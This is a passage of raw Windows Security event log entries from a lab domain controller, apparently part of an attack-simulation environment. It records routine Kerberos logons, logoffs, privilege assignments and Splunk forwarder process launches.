indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:45:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255917 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x385647 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:46:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255920 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:46:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255921 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:46:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255923 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:46:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255922 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:46:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255924 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x638 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:46:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255925 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1140 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:46:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255926 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:46:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255929 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x388BD8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:46:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255928 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x388BD8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64906 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:46:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255927 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x388BD8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:47:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255935 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x388EA0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:47:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255934 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x388EA0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64909 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:47:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255933 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x388EA0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:47:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255932 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x388E34 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:47:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255931 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x388E34 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64908 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:47:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255930 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x388E34 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:47:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255936 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x84c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255949 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1398 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255948 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3896CE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255947 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3897DC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255946 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x389825 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255945 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x389A35 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64914 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255944 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x389A35 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255943 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x880 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information 